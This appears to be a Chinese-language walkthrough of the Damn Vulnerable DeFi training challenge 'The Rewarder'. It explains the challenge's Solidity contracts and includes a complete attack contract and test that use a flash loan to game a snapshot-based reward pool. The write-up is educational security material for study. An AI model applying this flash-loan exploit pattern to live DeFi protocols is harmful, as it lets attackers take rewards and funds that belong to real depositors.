moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (五) - The Rewarder

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

题目链接:https://www.damnvulnerabledefi.xyz/challenges/5.html

题目描述:

有一个池子每 5 天为将 DVT 代币存入其中的人提供代币奖励。Alice、Bob、Charlie 和 David 已经存入了一些 DVT 代币,并赢得了他们的奖励!

而你没有任何 DVT 代币。但在即将到来的一轮中,你必须为自己索取最多的奖励。

本题目录中共有 4 个智能合约

  • AccountingToken.sol
  • FlashLoaderPool.sol
  • RewardToken.sol
  • TheRewarderPool.sol

AccountingToken.sol

// 继承自 ERC20Snapshot 和 AccessControl
contract AccountingToken is ERC20Snapshot, AccessControl {
		// 定义三个角色 minter, snapshot, burner 
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }
    // 销毁代币
    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }
    // 执行快照
    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

AccountingToken 是一个代币合约,代币 namerTokensymbolrTKN。继承自 openzeppelin 中的

  • ERC20Snapshot.sol:该合约主要用来记录每次进行快照时,某个地址有多少余额。其内部有以下几个变量:
    • _currentSnapshotId:自增变量 ,用来记录每次执行快照的 id。
    • _accountBalanceSnapshots:记录地址对应的每次快照的余额。快照的余额通过结构体 Snapshots 存储
    • _totalSupplySnapshots:记录每次快照记录的代币总量
  • AccessControl.sol:用来处理角色相关的合约。本质就是存储每个角色下所拥有的地址。

在该合约的构造函数,给 sender 赋予了四种角色

  • admin_role
  • minter_role
  • snapshot_role
  • burner_role

并且调用方法 mintburnsnapshot 都需要 sender拥有对应的角色。

flashLoanerPool.sol

contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;
		
    // DVT token的实例
    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }
    
    // 闪电贷方法
    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        // 将 DVT token 发送给sender
        liquidityToken.transfer(msg.sender, amount);
        
        // 回调 receiveFlashLoan 方法
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

借贷池合约,提供闪电贷功能。并在闪电贷方法内会回调方法 receiveFlashLoan

RewardToken.sol

contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

token 合约,代币 symbolRWT, 并且只有 minter_role 角色可以进行 mint

TheRewarderPool.sol

contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    // 多久进行一次奖励
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
    
    // 上次为了奖励所执行快照的id
    uint256 public lastSnapshotIdForRewards;
    // 上次执行快照的时间戳
    uint256 public lastRecordedSnapshotTimestamp;
    
    // 记录地址上次发放奖励的时间
    mapping(address => uint256) public lastRewardTimestamps;

    // DVT token的实例
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    // rTKN token的实例
    AccountingToken public accToken;
    
    // RWT token的实例
    RewardToken public immutable rewardToken;

    // 记录发放奖励的轮次
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    // 存入DVT token
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        // 给予等量的rTKN token
        accToken.mint(msg.sender, amountToDeposit);
        // 分发奖励
        distributeRewards();
        // 将调用者账户的 DVT token 存入该该合约地址中(需要授权)
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }
    
    // 提取DVt token
    function withdraw(uint256 amountToWithdraw) external {
        // 销毁 rTKN token
        accToken.burn(msg.sender, amountToWithdraw);
        // 从该合约账户转到调用者账户
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }
    
    // 分发奖励
    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;
        
        // 根据时间判断是否是新的一轮奖励发放时间
        if(isNewRewardsRound()) {
            _recordSnapshot();
        }
        // 上次快照 rTKN token 的总存入量
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        // 上次快照时 调用者sender 的存入量
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
        // sender的存入量大于0,且总存入量大于0
        if (amountDeposited > 0 && totalDeposits > 0) {
            // 根据占比计算奖励的数量
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
            // 可获得的奖励大于0, 且未收到过奖励
            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                // 给予奖励 RWT token
                rewardToken.mint(msg.sender, rewards);
                // 记录领取奖励的时间
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }
    // 执行快照
    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }
    
    // 根据领取奖励的时间判断是否领取过奖励
    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }
    
    // 是否是新的一轮奖励发放:当前时间 >= 上次奖励时间 + 5 days
    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

奖励池合约,当我们调用 deposit 方法存入 DVT token 时,会给你等量的 rTKN token。之后分发奖励也会根据你所持有的 rTKN token的数量进行等比例分发 RWT token

通过合约的源码,此时可以做个简单的总结:

有三个 token, 分别是

  • DVT token
  • rTKN token
  • RWT token

每当有用户在奖励池合约中存入 DVT token 时,会给予等量的 rTKN token。并根据当前区块时间判断是否到了新一轮的奖励分发时间。如果到了,则执行快照,记录此时持有 rTKN token的所有账户及其余额。并根据快照的数据按比例分发 RWT token

或者用户主动调用 distributeRewards 去领取奖励。

此时再回过头看下该题的问题:你没有 DVT token,但你需要在新一轮的奖励分发时获取最多的奖励。也就意味着在快照时,你需要拥有大量的 rTKN token, 而拥有 rTKN token 的前提是存入 DVT token。但是题目明确说明了你没有 DVT token。所以要想拥有 DVT token ,只能通过借贷池合约借出 DVT token

此时就能明确我们的攻击流程:

  • 在新一轮的奖励分发时,通过闪电贷借出全部的 DVT token
  • 在闪电贷的回调方法中,通过调用奖励池合约中的 deposit 方法,将借出的 DVT token 存入,并获得等量的 rTKN token , 此时会执行快照,并分发奖励,获得 RWT token
  • 调用奖励池合约的 withdraw, 销毁拥有的 rTKN token,并将存入的 DVT token 返还给调用者。
  • DVT token 返还给借贷池合约。
  • 将获得的 RWT token 转出到攻击者账户。

因此可以写出我们的攻击合约

TheRewarderAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";

contract TheRewarderAttack {
  // 奖励池合约
  TheRewarderPool public rewarderPool;
  // 借贷池合约
  FlashLoanerPool public flashLoanerPool;
  // DVT token
  IERC20 public liquidityToken;

  constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
    rewarderPool = TheRewarderPool(_rewarderPool);
    flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
    liquidityToken = IERC20(_token);
  }
  // 闪电贷回调方法
  function receiveFlashLoan(uint amount) public {
    // 授权 rewarderPool 可以动用 amount 数量的DVT token
    liquidityToken.approve(address(rewarderPool), amount);
    // 存入DVT token
    rewarderPool.deposit(amount);
    // 取出DVT token
    rewarderPool.withdraw(amount);
    // 返还借出的 DVT token 到借贷池合约
    liquidityToken.transfer(address(flashLoanerPool), amount);
  }

  function attack (uint amount) external {
    // 执行闪电贷
    flashLoanerPool.flashLoan(amount);
    // 将获得的 RWT token 转出到 sender
    rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
  }
}

最后在测试用例 the-rewarder.challenge.js 编写我们的执行代码

it('Exploit', async function () {
  // 部署攻击合约
  const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
  const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
  // 增加时间到5天后
  await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
  // 执行攻击方法
  await attackContract.attack(TOKENS_IN_LENDER_POOL)
})

执行 yarn the-rewarder, 测试通过!

完整代码

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。